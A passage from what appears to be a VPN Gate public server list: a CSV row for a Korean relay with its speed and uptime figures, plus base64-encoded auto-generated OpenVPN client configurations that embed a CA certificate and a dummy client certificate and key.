TXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn637212084,121.180.40.130,749501,31,32313357,Korea Republic of,KR,10,168554195,738,41975716198,2weeks,DESKTOP-IQL9K9J's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjEuMTgwLjQwLjEzMCA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4N